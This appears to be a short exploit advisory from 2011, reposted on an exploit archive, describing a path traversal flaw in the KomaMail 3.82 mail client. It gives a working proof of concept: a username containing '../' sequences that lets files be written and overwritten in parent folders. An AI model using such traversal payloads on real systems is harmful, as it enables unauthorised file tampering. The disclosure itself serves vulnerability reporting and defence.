KomaMail Local Path Inclusion

# Exploit Title: [KomaMail Local Path Inclusion]
 # Date: [26/11/2011]
 # Author: [SnakingMax]
 # WebSite: [snakingmax.blogspot.com]
 # Software Link: [http://www.koma-code.de/ProgsZip/KomaMail.zip]
 # Version: [3.82]
 # Category: [Local Exploit]
# Tested on: [Windows XP (SP3)]

# 0-Day Exploit
# Thanks to my family, girlfriend and friends.

#Exploit

# Go to "Create a new User" in the login panel
# and write a cool Username like this: ../../../../ProofOfConcept

#Go to File UserAccount.dat
../../../../ProofOfConcept

#Conclusion
#You can write and overwrite in the parent folders ussing Usernames like this.



#  0day.today [2018-01-05]  #